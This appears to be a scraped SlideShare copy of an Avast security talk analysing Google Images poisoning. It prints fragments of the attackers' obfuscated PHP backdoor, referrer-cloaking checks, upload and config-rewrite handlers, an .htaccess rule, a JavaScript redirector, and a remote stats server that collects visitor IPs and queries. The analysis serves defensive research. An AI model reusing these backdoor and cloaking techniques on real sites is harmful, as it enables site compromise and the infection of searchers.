SlideShare uma empresa Scribd logo
1 de 37
Analysis of Google Images
Poisoning

Lukáš Hamík
Jan Širmer




                            www.avast.com
Agenda
•   What is Google-images poisoning?
•   How it works
•   Doorway generator
•   Java script redirector
•   Evolution
•   Data from AVAST CommunityIQ userbase
•   Summary
•   Questions




AVAR 2011              www.avast.com
Google Images poisoning
• SEO blackhat poisoning attack
• Uses hacked sites to redirect users to sites containing
  fake AV or exploit
• Uses key-word rich pages with hot-linked images for
  higher indexing by search bots
• Images from hacked sites are near the top search
  results
• Focused on users coming from well-know search
  engines



AVAR 2011                www.avast.com
Google Images poisoning
            User




                   How it works?


                                Infected server




AVAR 2011              www.avast.com
Google search results




AVAR 2011    www.avast.com
Google Images poisoning
            User




                                      Infected server


                   Fake AV                              Remote server

AVAR 2011                    www.avast.com
Fake antiviruses




AVAR 2011    www.avast.com
Google Images poisoning
            User




                                      Infected server


                   Fake AV                              Remote server
  Bad guy
AVAR 2011                    www.avast.com
Why is it so successful?
• Great SEO and nobody umed SEO for “imagem”




AVAR 2011          www.avast.com
Why is it so successful? (2)
• Computer users do not expect that they can get
  infected when searching for images on legitimate sites




                                         Infected
               Fake AV                   server



AVAR 2011                www.avast.com
Why is it so successful? (3)
• Hide and Seek
     – if users are using Opera browser or they are coming from
       Google, Yahoo or a Bing, they are served a Java script
       redirector




                                                     Malicious
                                                     content
AVAR 2011                     www.avast.com
Your website gets infected
• The bad guys are using stolen FTP credentials
• They upload PHP script to the WEB server
• This is used for uploading malicious content to the
  web server, creating spam pages, and uploading
  additional files to web server
• Bonus feature - it lets the owners know that the page
  is ready




AVAR 2011               www.avast.com
Additional malicious files
• Xmlrpc.txt – Remote server address
  stored
•    -> Xml.txt -> Xml.cgi – address in
  Base64
• Iog.txt – Redirecting java script stored
• Shab100500.txt – Spam HTML template
  stored
•    -> Don.txt – HTML template in
  Base64
AVAR 2011         www.avast.com
PHP script on infected sites
• Earlier, they used names such as d{1,3}.php
• Today, they use names like microphone.php, etc.
• This script is responsible for:
    1.      Creating spam pages for Google bot indexing
    2.      Changing .htaccess
    3.      Serving redirect script to user to exploit sites
    4.      Serving redirect script to user to fake AV
    5.      Downloading malicious files to server
    6.      Telling owners that the site is ready




AVAR 2011                          www.avast.com
PHP script
Original PHP file uploaded to server
• <?eval
    (gzuncompress
      (base64_decode('eNqVWG2P4kYM/…/woBlZVj
C9zK2Ok8McOZrF5z9hfM+5P/AbQiT9I=')
      )
     );
  ?>




AVAR 2011          www.avast.com
PHP script
PHP file after first step of deobfuscation

• $GLOBALS['_1600532410_']=Array(base64_dec
  ode('ZXJyb3Jfcm'.'Vwb3J0'.'aW5'.'n

• Function _1070120820($i)
  {$a=Array('c'.'Q='.'=','cQ==',

•    ($GLOBALS['_1600532410_'][16](
    _1070120820(6))) {…


AVAR 2011                www.avast.com
PHP script after removing
obfuscation
if (strpos($_SERVER['HTTP_USER_AGENT'],
  'Opera') !== false) {
}
if (strpos($_SERVER['HTTP_REFERER'],
  'google.') ||
  strpos($_SERVER['HTTP_REFERER'],
  'yahoo.') ||
  strpos($_SERVER['HTTP_REFERER'], 'bing.')
  > 0) {
$_10 = file_get_contents('.log/' . $_4 .
  '/xmlrpc.txt');

AVAR 2011          www.avast.com
Doorway generator
• HTML template is stored in the file
  .log/SITE/shab100500.txt
• In the new version, shab100500.txt was replaced by
  don.txt
  <HTML>
  Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut
  labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco
  laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in
  <Replaceme>
  </Replaceme>
  Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut
  labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco
  </HTML>


                                           www.avast.com
Doorway generator

• Get descriptions of top
  40 ‘mearch keywordm’                   harmful action
  from Google web                        against a person or
                                         group in response
• Shuffle the words into                 revenge to a
  their descriptions to get              grievance, be it real
  unique text                            or rick santorum
                                         perceived




                         www.avast.com
Doorway generator

• Get top 20 ‘mearch                   <img
  keyword’ from Google                 src="http://SITE/p
  Images and extract links             ath/hot-linked-
  to image files                       image.jpg"
• Generates <img> tags                 alt="search
  and shuffle them                     keywords"
                                       align="random(cent
                                       er, right, left)">



                       www.avast.com
Doorway generator

<img
                 harmful action against aharmful action
src="http://SITE/p
                 person or group in      against a person or
ath/hot-linked-
                 response revenge to a group in response
image.jpg"
                 grievance<img           revenge to a
alt="search
                 src="http://SITE/path/hot-
                                         grievance, be it real
keywords"
                 linked-image.jpg"       or rick santorum
align="random(cent
                 alt="search keywords" perceived
er, right, left)">
                 align="random(center, right
                 , left)">


                          www.avast.com
Doorway generator
<HTML>
Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut
labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco
laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in

<h1>SEARCH KEYWORD</h1>
Suggested links
<Replaceme>
Links to 30 most recently generated links
</Replaceme>
Rich-word generated text with hot-linked images
Links to alternative pages

Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut
labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco

</HTML>



                                           www.avast.com
How do they make image URLs
less suspicious?
• "RewriteEngine On RewriteCond
  %{REQUEST_FILENAME} !-f RewriteCond
  %{REQUEST_FILENAME} !-d RewriteRule ^(.*)$
  ".$_SERVER[ 'SCRIPT_NAME'."?q=$1 [L] “

• this changes URL from suspicious
http://SITE/wp-admin/BAD.php?q=search-keywords
                          to
            http://SITE/wp-admin/search-keywords



AVAR 2011                  www.avast.com
PHP script evolution
•    The first version was focused on all users using Opera
     browser or users coming from Google, Yahoo or Bing
•    During June, we found some changes in PHP code
     - Google is the only target
     - New redirection system
•    Request goes to a remote server ( mydiarycom.net )
     - centralized
•    They have statistic data from parameters
•    No need to update iog.txt (redirecting script) or make
     differentiating changes on each server

AVAR 2011                  www.avast.com
Data parameters
http://mydiarycom.net/out/stat.cgi?parameter=
1. Name of the doorway site
2. The full URL of doorway script
3. Vimitor’m IP
4. The referring URL
5. The User-Agent of the umer’m browmer
6. The search query used on Google




AVAR 2011              www.avast.com
IP address and user-agents


                             Fake AV




AVAR 2011    www.avast.com
IP address and user-agents



   Spam
   page



AVAR 2011    www.avast.com
JavaScript redirector
var URL = “SITE contains FakeAV”
  +encodeURIComponent(document.referrer)
  +"&parameter=$keyword&se=$se&ur=1&HTTP_REF
  ERER=“
  +encodeURIComponent(document.URL)
  +"&default_keyword=default";
if (window!=top)
  {top.location.href = URL;}
else
  document.location= URL;

AVAR 2011          www.avast.com
Redirection
• Mac – http://IP/r/RANDOM_STRING
  IP and ‘r’ are change enery 30 minutem

• Exploit site -
  http://SITE/index.php?tp=RANDOM_STRING
  Site and ‘tp’ are change enery 30 minutem

• Fake AV – http://SITE/fast-scan/




AVAR 2011               www.avast.com
Other changes
• Rotating user-agent string
• Password-protected maintenance request
  Someone who know how this algorithm works can
  easily change it and redirect to his or her own site
• Xml.txt was replaced by xml.cgi
• Working with free blogs sites




AVAR 2011                www.avast.com
Password-protected maintenance
request
if ($_GET[ 'dom100500' != '' { $_13 = fopen( '.log/'$_4.
    '/xmlrpc.txt' 'w+'; fwrite($_13,$_GET[ 'dom100500');
    fclose($_13);
if ($_GET[ 'up100500' != '' { $_14 = '' $_14 = $_14 .
    basename( $_FILES[ 'uploaded'[ 'name') ;
    $_15=round(0+0.5+0.5);
    if(move_uploaded_file($_FILES[ 'uploaded'[
    'tmp_name', $_14))




AVAR 2011                www.avast.com
Data from the
AVAST CommunityIQ
• From March to August 2011, we discovered 22,580
  unique infected sites
• 5,698 sites are still infected

• Typo : <IMG HEIGTH=?1?WIDTH




AVAR 2011             www.avast.com
Infected domains




AVAR 2011   www.avast.com
Number of infected domains




AVAR 2011   www.avast.com
Summary
• Google-image poisoning is an easy way how to spread
  fake AV and exploits
• It’m bamed on mtolen FTP credentialm of webmamterm
  and great backdoor algorithms
• The number of infected legitimate domains is growing
  every day
• Common sense is not sufficient protection




AVAR 2011              www.avast.com
Questions and Answers




AVAR 2011   www.avast.com
Thank you
Jan Sirmer (sirmer@avast.com)
Senior Virus Analyst

Lukas Hasik (hasik@avast.com)
QA Director




AVAR 2011         www.avast.com

Mais conteúdo relacionado

Mais procurados

腾讯大讲堂09 如何建设高性能网站
腾讯大讲堂09 如何建设高性能网站腾讯大讲堂09 如何建设高性能网站
腾讯大讲堂09 如何建设高性能网站
areyouok
 

Mais procurados (18)

#NoXML: Eliminating XML in Spring Projects - SpringOne 2GX 2015
#NoXML: Eliminating XML in Spring Projects - SpringOne 2GX 2015#NoXML: Eliminating XML in Spring Projects - SpringOne 2GX 2015
#NoXML: Eliminating XML in Spring Projects - SpringOne 2GX 2015
 
AWS IAM과 친해지기 – 조이정, AWS 솔루션즈 아키텍트:: AWS Builders Online Series
AWS IAM과 친해지기 – 조이정, AWS 솔루션즈 아키텍트:: AWS Builders Online Series AWS IAM과 친해지기 – 조이정, AWS 솔루션즈 아키텍트:: AWS Builders Online Series
AWS IAM과 친해지기 – 조이정, AWS 솔루션즈 아키텍트:: AWS Builders Online Series
 
Build a Node.js Client for Your REST+JSON API
Build a Node.js Client for Your REST+JSON APIBuild a Node.js Client for Your REST+JSON API
Build a Node.js Client for Your REST+JSON API
 
腾讯大讲堂09 如何建设高性能网站
腾讯大讲堂09 如何建设高性能网站腾讯大讲堂09 如何建设高性能网站
腾讯大讲堂09 如何建设高性能网站
 
Api
ApiApi
Api
 
Aztex indian's greatest hit's.http
Aztex indian's greatest hit's.httpAztex indian's greatest hit's.http
Aztex indian's greatest hit's.http
 
Security Presentation for Boulder WordPress Meetup
Security Presentation for Boulder WordPress MeetupSecurity Presentation for Boulder WordPress Meetup
Security Presentation for Boulder WordPress Meetup
 
Java 6 [Mustang] - Features and Enchantments
Java 6 [Mustang] - Features and Enchantments Java 6 [Mustang] - Features and Enchantments
Java 6 [Mustang] - Features and Enchantments
 
Cloud patterns applied
Cloud patterns appliedCloud patterns applied
Cloud patterns applied
 
สปริงเฟรมเวิร์ค4.1
สปริงเฟรมเวิร์ค4.1สปริงเฟรมเวิร์ค4.1
สปริงเฟรมเวิร์ค4.1
 
Cross-browser testing in the real world
Cross-browser testing in the real worldCross-browser testing in the real world
Cross-browser testing in the real world
 
Invoke-DOSfuscation
Invoke-DOSfuscationInvoke-DOSfuscation
Invoke-DOSfuscation
 
The Play Framework at LinkedIn
The Play Framework at LinkedInThe Play Framework at LinkedIn
The Play Framework at LinkedIn
 
REST API Design for JAX-RS And Jersey
REST API Design for JAX-RS And JerseyREST API Design for JAX-RS And Jersey
REST API Design for JAX-RS And Jersey
 
APIdays Helsinki 2019 - API Versioning with REST, JSON and Swagger with Thoma...
APIdays Helsinki 2019 - API Versioning with REST, JSON and Swagger with Thoma...APIdays Helsinki 2019 - API Versioning with REST, JSON and Swagger with Thoma...
APIdays Helsinki 2019 - API Versioning with REST, JSON and Swagger with Thoma...
 
Plop
PlopPlop
Plop
 
High Performance Websites By Souders Steve
High Performance Websites By Souders SteveHigh Performance Websites By Souders Steve
High Performance Websites By Souders Steve
 
High Performance Web Sites
High Performance Web SitesHigh Performance Web Sites
High Performance Web Sites
 

Destaque

Gop 2012 nomination share of popular vote and delegates per candidate (03.1...
Gop 2012 nomination   share of popular vote and delegates per candidate (03.1...Gop 2012 nomination   share of popular vote and delegates per candidate (03.1...
Gop 2012 nomination share of popular vote and delegates per candidate (03.1...
kkellyfv
 
Romney vs. romney (post super tuesday update, 03.22.12)
Romney vs. romney (post super tuesday update, 03.22.12)Romney vs. romney (post super tuesday update, 03.22.12)
Romney vs. romney (post super tuesday update, 03.22.12)
kkellyfv
 
Paul vs paul (post super tuesday update, 03.22.12)
Paul vs paul (post super tuesday update, 03.22.12)Paul vs paul (post super tuesday update, 03.22.12)
Paul vs paul (post super tuesday update, 03.22.12)
kkellyfv
 
Portland, me 2011, mayoral election graphs
Portland, me 2011, mayoral election graphsPortland, me 2011, mayoral election graphs
Portland, me 2011, mayoral election graphs
kkellyfv
 
San francisco, 2011 district attorney election graphs
San francisco, 2011 district attorney election graphsSan francisco, 2011 district attorney election graphs
San francisco, 2011 district attorney election graphs
kkellyfv
 

Destaque (6)

Gop 2012 nomination share of popular vote and delegates per candidate (03.1...
Gop 2012 nomination   share of popular vote and delegates per candidate (03.1...Gop 2012 nomination   share of popular vote and delegates per candidate (03.1...
Gop 2012 nomination share of popular vote and delegates per candidate (03.1...
 
Romney vs. romney (post super tuesday update, 03.22.12)
Romney vs. romney (post super tuesday update, 03.22.12)Romney vs. romney (post super tuesday update, 03.22.12)
Romney vs. romney (post super tuesday update, 03.22.12)
 
Paul vs paul (post super tuesday update, 03.22.12)
Paul vs paul (post super tuesday update, 03.22.12)Paul vs paul (post super tuesday update, 03.22.12)
Paul vs paul (post super tuesday update, 03.22.12)
 
TM London kahoot
TM London kahoot TM London kahoot
TM London kahoot
 
Portland, me 2011, mayoral election graphs
Portland, me 2011, mayoral election graphsPortland, me 2011, mayoral election graphs
Portland, me 2011, mayoral election graphs
 
San francisco, 2011 district attorney election graphs
San francisco, 2011 district attorney election graphsSan francisco, 2011 district attorney election graphs
San francisco, 2011 district attorney election graphs
 

Semelhante a Poisoning Google images

腾讯大讲堂09 如何建设高性能网站
腾讯大讲堂09 如何建设高性能网站腾讯大讲堂09 如何建设高性能网站
腾讯大讲堂09 如何建设高性能网站
George Ang
 
Abusing bleeding edge web standards for appsec glory
Abusing bleeding edge web standards for appsec gloryAbusing bleeding edge web standards for appsec glory
Abusing bleeding edge web standards for appsec glory
Priyanka Aash
 
Socket applications
Socket applicationsSocket applications
Socket applications
João Moura
 
Java scriptwidgetdevelopmentjstanbul2012
Java scriptwidgetdevelopmentjstanbul2012Java scriptwidgetdevelopmentjstanbul2012
Java scriptwidgetdevelopmentjstanbul2012
Volkan Özçelik
 

Semelhante a Poisoning Google images (20)

Google-image poisoning: How hackers use images to spread malware
Google-image poisoning: How hackers use images to spread malwareGoogle-image poisoning: How hackers use images to spread malware
Google-image poisoning: How hackers use images to spread malware
 
腾讯大讲堂09 如何建设高性能网站
腾讯大讲堂09 如何建设高性能网站腾讯大讲堂09 如何建设高性能网站
腾讯大讲堂09 如何建设高性能网站
 
What should I do when my website got hack?
What should I do when my website got hack?What should I do when my website got hack?
What should I do when my website got hack?
 
DVWA BruCON Workshop
DVWA BruCON WorkshopDVWA BruCON Workshop
DVWA BruCON Workshop
 
WordPress Security and Best Practices
WordPress Security and Best PracticesWordPress Security and Best Practices
WordPress Security and Best Practices
 
Abusing bleeding edge web standards for appsec glory
Abusing bleeding edge web standards for appsec gloryAbusing bleeding edge web standards for appsec glory
Abusing bleeding edge web standards for appsec glory
 
Building Scalable Websites with Perl
Building Scalable Websites with PerlBuilding Scalable Websites with Perl
Building Scalable Websites with Perl
 
Hacking Wordpress Plugins
Hacking Wordpress PluginsHacking Wordpress Plugins
Hacking Wordpress Plugins
 
Understanding Identity in the World of Web APIs – Ronnie Mitra, API Architec...
Understanding Identity in the World of Web APIs – Ronnie Mitra,  API Architec...Understanding Identity in the World of Web APIs – Ronnie Mitra,  API Architec...
Understanding Identity in the World of Web APIs – Ronnie Mitra, API Architec...
 
Are you ready to be hacked?
Are you ready to be hacked?Are you ready to be hacked?
Are you ready to be hacked?
 
HackAvert
HackAvertHackAvert
HackAvert
 
Socket applications
Socket applicationsSocket applications
Socket applications
 
Introduction to Infrastructure as Code & Automation / Introduction to Chef
Introduction to Infrastructure as Code & Automation / Introduction to ChefIntroduction to Infrastructure as Code & Automation / Introduction to Chef
Introduction to Infrastructure as Code & Automation / Introduction to Chef
 
Web-App Remote Code Execution Via Scripting Engines
Web-App Remote Code Execution Via Scripting EnginesWeb-App Remote Code Execution Via Scripting Engines
Web-App Remote Code Execution Via Scripting Engines
 
Common Web Application Attacks
Common Web Application Attacks Common Web Application Attacks
Common Web Application Attacks
 
External JavaScript Widget Development Best Practices (updated) (v.1.1)
External JavaScript Widget Development Best Practices (updated) (v.1.1) External JavaScript Widget Development Best Practices (updated) (v.1.1)
External JavaScript Widget Development Best Practices (updated) (v.1.1)
 
Automation of web attacks from advisories to create real world exploits
Automation of web attacks from advisories to create real world exploitsAutomation of web attacks from advisories to create real world exploits
Automation of web attacks from advisories to create real world exploits
 
External JavaScript Widget Development Best Practices
External JavaScript Widget Development Best PracticesExternal JavaScript Widget Development Best Practices
External JavaScript Widget Development Best Practices
 
Java scriptwidgetdevelopmentjstanbul2012
Java scriptwidgetdevelopmentjstanbul2012Java scriptwidgetdevelopmentjstanbul2012
Java scriptwidgetdevelopmentjstanbul2012
 
GDD Japan 2009 - Designing OpenSocial Apps For Speed and Scale
GDD Japan 2009 - Designing OpenSocial Apps For Speed and ScaleGDD Japan 2009 - Designing OpenSocial Apps For Speed and Scale
GDD Japan 2009 - Designing OpenSocial Apps For Speed and Scale
 

Último

Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers:  A Deep Dive into Serverless Spatial Data and FMECloud Frontiers:  A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
Safe Software
 

Último (20)

Web Form Automation for Bonterra Impact Management (fka Social Solutions Apri...
Web Form Automation for Bonterra Impact Management (fka Social Solutions Apri...Web Form Automation for Bonterra Impact Management (fka Social Solutions Apri...
Web Form Automation for Bonterra Impact Management (fka Social Solutions Apri...
 
Understanding the FAA Part 107 License ..
Understanding the FAA Part 107 License ..Understanding the FAA Part 107 License ..
Understanding the FAA Part 107 License ..
 
Six Myths about Ontologies: The Basics of Formal Ontology
Six Myths about Ontologies: The Basics of Formal OntologySix Myths about Ontologies: The Basics of Formal Ontology
Six Myths about Ontologies: The Basics of Formal Ontology
 
Vector Search -An Introduction in Oracle Database 23ai.pptx
Vector Search -An Introduction in Oracle Database 23ai.pptxVector Search -An Introduction in Oracle Database 23ai.pptx
Vector Search -An Introduction in Oracle Database 23ai.pptx
 
AWS Community Day CPH - Three problems of Terraform
AWS Community Day CPH - Three problems of TerraformAWS Community Day CPH - Three problems of Terraform
AWS Community Day CPH - Three problems of Terraform
 
Artificial Intelligence Chap.5 : Uncertainty
Artificial Intelligence Chap.5 : UncertaintyArtificial Intelligence Chap.5 : Uncertainty
Artificial Intelligence Chap.5 : Uncertainty
 
Corporate and higher education May webinar.pptx
Corporate and higher education May webinar.pptxCorporate and higher education May webinar.pptx
Corporate and higher education May webinar.pptx
 
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers:  A Deep Dive into Serverless Spatial Data and FMECloud Frontiers:  A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
 
CNIC Information System with Pakdata Cf In Pakistan
CNIC Information System with Pakdata Cf In PakistanCNIC Information System with Pakdata Cf In Pakistan
CNIC Information System with Pakdata Cf In Pakistan
 
Apidays New York 2024 - The value of a flexible API Management solution for O...
Apidays New York 2024 - The value of a flexible API Management solution for O...Apidays New York 2024 - The value of a flexible API Management solution for O...
Apidays New York 2024 - The value of a flexible API Management solution for O...
 
DBX First Quarter 2024 Investor Presentation
DBX First Quarter 2024 Investor PresentationDBX First Quarter 2024 Investor Presentation
DBX First Quarter 2024 Investor Presentation
 
Navigating the Deluge_ Dubai Floods and the Resilience of Dubai International...
Navigating the Deluge_ Dubai Floods and the Resilience of Dubai International...Navigating the Deluge_ Dubai Floods and the Resilience of Dubai International...
Navigating the Deluge_ Dubai Floods and the Resilience of Dubai International...
 
DEV meet-up UiPath Document Understanding May 7 2024 Amsterdam
DEV meet-up UiPath Document Understanding May 7 2024 AmsterdamDEV meet-up UiPath Document Understanding May 7 2024 Amsterdam
DEV meet-up UiPath Document Understanding May 7 2024 Amsterdam
 
Repurposing LNG terminals for Hydrogen Ammonia: Feasibility and Cost Saving
Repurposing LNG terminals for Hydrogen Ammonia: Feasibility and Cost SavingRepurposing LNG terminals for Hydrogen Ammonia: Feasibility and Cost Saving
Repurposing LNG terminals for Hydrogen Ammonia: Feasibility and Cost Saving
 
Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...
Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...
Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...
 
Elevate Developer Efficiency & build GenAI Application with Amazon Q​
Elevate Developer Efficiency & build GenAI Application with Amazon Q​Elevate Developer Efficiency & build GenAI Application with Amazon Q​
Elevate Developer Efficiency & build GenAI Application with Amazon Q​
 
How to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerHow to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected Worker
 
Apidays New York 2024 - Passkeys: Developing APIs to enable passwordless auth...
Apidays New York 2024 - Passkeys: Developing APIs to enable passwordless auth...Apidays New York 2024 - Passkeys: Developing APIs to enable passwordless auth...
Apidays New York 2024 - Passkeys: Developing APIs to enable passwordless auth...
 
Introduction to Multilingual Retrieval Augmented Generation (RAG)
Introduction to Multilingual Retrieval Augmented Generation (RAG)Introduction to Multilingual Retrieval Augmented Generation (RAG)
Introduction to Multilingual Retrieval Augmented Generation (RAG)
 
WSO2's API Vision: Unifying Control, Empowering Developers
WSO2's API Vision: Unifying Control, Empowering DevelopersWSO2's API Vision: Unifying Control, Empowering Developers
WSO2's API Vision: Unifying Control, Empowering Developers
 

Poisoning Google images

  • 1. Analysis of Google Images Poisoning Lukáš Hamík Jan Širmer www.avast.com
  • 2. Agenda • What is Google-images poisoning? • How it works • Doorway generator • Java script redirector • Evolution • Data from AVAST CommunityIQ userbase • Summary • Questions AVAR 2011 www.avast.com
  • 3. Google Images poisoning • SEO blackhat poisoning attack • Uses hacked sites to redirect users to sites containing fake AV or exploit • Uses key-word rich pages with hot-linked images for higher indexing by search bots • Images from hacked sites are near the top search results • Focused on users coming from well-know search engines AVAR 2011 www.avast.com
  • 4. Google Images poisoning User How it works? Infected server AVAR 2011 www.avast.com
  • 5. Google search results AVAR 2011 www.avast.com
  • 6. Google Images poisoning User Infected server Fake AV Remote server AVAR 2011 www.avast.com
  • 8. Google Images poisoning User Infected server Fake AV Remote server Bad guy AVAR 2011 www.avast.com
  • 9. Why is it so successful? • Great SEO and nobody umed SEO for “imagem” AVAR 2011 www.avast.com
  • 10. Why is it so successful? (2) • Computer users do not expect that they can get infected when searching for images on legitimate sites Infected Fake AV server AVAR 2011 www.avast.com
  • 11. Why is it so successful? (3) • Hide and Seek – if users are using Opera browser or they are coming from Google, Yahoo or a Bing, they are served a Java script redirector Malicious content AVAR 2011 www.avast.com
  • 12. Your website gets infected • The bad guys are using stolen FTP credentials • They upload PHP script to the WEB server • This is used for uploading malicious content to the web server, creating spam pages, and uploading additional files to web server • Bonus feature - it lets the owners know that the page is ready AVAR 2011 www.avast.com
  • 13. Additional malicious files • Xmlrpc.txt – Remote server address stored • -> Xml.txt -> Xml.cgi – address in Base64 • Iog.txt – Redirecting java script stored • Shab100500.txt – Spam HTML template stored • -> Don.txt – HTML template in Base64 AVAR 2011 www.avast.com
  • 14. PHP script on infected sites • Earlier, they used names such as d{1,3}.php • Today, they use names like microphone.php, etc. • This script is responsible for: 1. Creating spam pages for Google bot indexing 2. Changing .htaccess 3. Serving redirect script to user to exploit sites 4. Serving redirect script to user to fake AV 5. Downloading malicious files to server 6. Telling owners that the site is ready AVAR 2011 www.avast.com
  • 15. PHP script Original PHP file uploaded to server • <?eval (gzuncompress (base64_decode('eNqVWG2P4kYM/…/woBlZVj C9zK2Ok8McOZrF5z9hfM+5P/AbQiT9I=') ) ); ?> AVAR 2011 www.avast.com
  • 16. PHP script PHP file after first step of deobfuscation • $GLOBALS['_1600532410_']=Array(base64_dec ode('ZXJyb3Jfcm'.'Vwb3J0'.'aW5'.'n • Function _1070120820($i) {$a=Array('c'.'Q='.'=','cQ==', • ($GLOBALS['_1600532410_'][16]( _1070120820(6))) {… AVAR 2011 www.avast.com
  • 17. PHP script after removing obfuscation if (strpos($_SERVER['HTTP_USER_AGENT'], 'Opera') !== false) { } if (strpos($_SERVER['HTTP_REFERER'], 'google.') || strpos($_SERVER['HTTP_REFERER'], 'yahoo.') || strpos($_SERVER['HTTP_REFERER'], 'bing.') > 0) { $_10 = file_get_contents('.log/' . $_4 . '/xmlrpc.txt'); AVAR 2011 www.avast.com
  • 18. Doorway generator • HTML template is stored in the file .log/SITE/shab100500.txt • In the new version, shab100500.txt was replaced by don.txt <HTML> Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in <Replaceme> </Replaceme> Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco </HTML> www.avast.com
  • 19. Doorway generator • Get descriptions of top 40 ‘mearch keywordm’ harmful action from Google web against a person or group in response • Shuffle the words into revenge to a their descriptions to get grievance, be it real unique text or rick santorum perceived www.avast.com
  • 20. Doorway generator • Get top 20 ‘mearch <img keyword’ from Google src="http://SITE/p Images and extract links ath/hot-linked- to image files image.jpg" • Generates <img> tags alt="search and shuffle them keywords" align="random(cent er, right, left)"> www.avast.com
  • 21. Doorway generator <img harmful action against aharmful action src="http://SITE/p person or group in against a person or ath/hot-linked- response revenge to a group in response image.jpg" grievance<img revenge to a alt="search src="http://SITE/path/hot- grievance, be it real keywords" linked-image.jpg" or rick santorum align="random(cent alt="search keywords" perceived er, right, left)"> align="random(center, right , left)"> www.avast.com
  • 22. Doorway generator <HTML> Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in <h1>SEARCH KEYWORD</h1> Suggested links <Replaceme> Links to 30 most recently generated links </Replaceme> Rich-word generated text with hot-linked images Links to alternative pages Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco </HTML> www.avast.com
  • 23. How do they make image URLs less suspicious? • "RewriteEngine On RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule ^(.*)$ ".$_SERVER[ 'SCRIPT_NAME'."?q=$1 [L] “ • this changes URL from suspicious http://SITE/wp-admin/BAD.php?q=search-keywords to http://SITE/wp-admin/search-keywords AVAR 2011 www.avast.com
  • 24. PHP script evolution • The first version was focused on all users using Opera browser or users coming from Google, Yahoo or Bing • During June, we found some changes in PHP code - Google is the only target - New redirection system • Request goes to a remote server ( mydiarycom.net ) - centralized • They have statistic data from parameters • No need to update iog.txt (redirecting script) or make differentiating changes on each server AVAR 2011 www.avast.com
  • 25. Data parameters http://mydiarycom.net/out/stat.cgi?parameter= 1. Name of the doorway site 2. The full URL of doorway script 3. Vimitor’m IP 4. The referring URL 5. The User-Agent of the umer’m browmer 6. The search query used on Google AVAR 2011 www.avast.com
  • 26. IP address and user-agents Fake AV AVAR 2011 www.avast.com
  • 27. IP address and user-agents Spam page AVAR 2011 www.avast.com
  • 28. JavaScript redirector var URL = “SITE contains FakeAV” +encodeURIComponent(document.referrer) +"&parameter=$keyword&se=$se&ur=1&HTTP_REF ERER=“ +encodeURIComponent(document.URL) +"&default_keyword=default"; if (window!=top) {top.location.href = URL;} else document.location= URL; AVAR 2011 www.avast.com
  • 29. Redirection • Mac – http://IP/r/RANDOM_STRING IP and ‘r’ are change enery 30 minutem • Exploit site - http://SITE/index.php?tp=RANDOM_STRING Site and ‘tp’ are change enery 30 minutem • Fake AV – http://SITE/fast-scan/ AVAR 2011 www.avast.com
  • 30. Other changes • Rotating user-agent string • Password-protected maintenance request Someone who know how this algorithm works can easily change it and redirect to his or her own site • Xml.txt was replaced by xml.cgi • Working with free blogs sites AVAR 2011 www.avast.com
  • 31. Password-protected maintenance request if ($_GET[ 'dom100500' != '' { $_13 = fopen( '.log/'$_4. '/xmlrpc.txt' 'w+'; fwrite($_13,$_GET[ 'dom100500'); fclose($_13); if ($_GET[ 'up100500' != '' { $_14 = '' $_14 = $_14 . basename( $_FILES[ 'uploaded'[ 'name') ; $_15=round(0+0.5+0.5); if(move_uploaded_file($_FILES[ 'uploaded'[ 'tmp_name', $_14)) AVAR 2011 www.avast.com
  • 32. Data from the AVAST CommunityIQ • From March to August 2011, we discovered 22,580 unique infected sites • 5,698 sites are still infected • Typo : <IMG HEIGTH=?1?WIDTH AVAR 2011 www.avast.com
  • 33. Infected domains AVAR 2011 www.avast.com
  • 34. Number of infected domains AVAR 2011 www.avast.com
  • 35. Summary • Google-image poisoning is an easy way how to spread fake AV and exploits • It’m bamed on mtolen FTP credentialm of webmamterm and great backdoor algorithms • The number of infected legitimate domains is growing every day • Common sense is not sufficient protection AVAR 2011 www.avast.com
  • 36. Questions and Answers AVAR 2011 www.avast.com
  • 37. Thank you Jan Sirmer (sirmer@avast.com) Senior Virus Analyst Lukas Hasik (hasik@avast.com) QA Director AVAR 2011 www.avast.com

Notas do Editor

  1. predstaveni
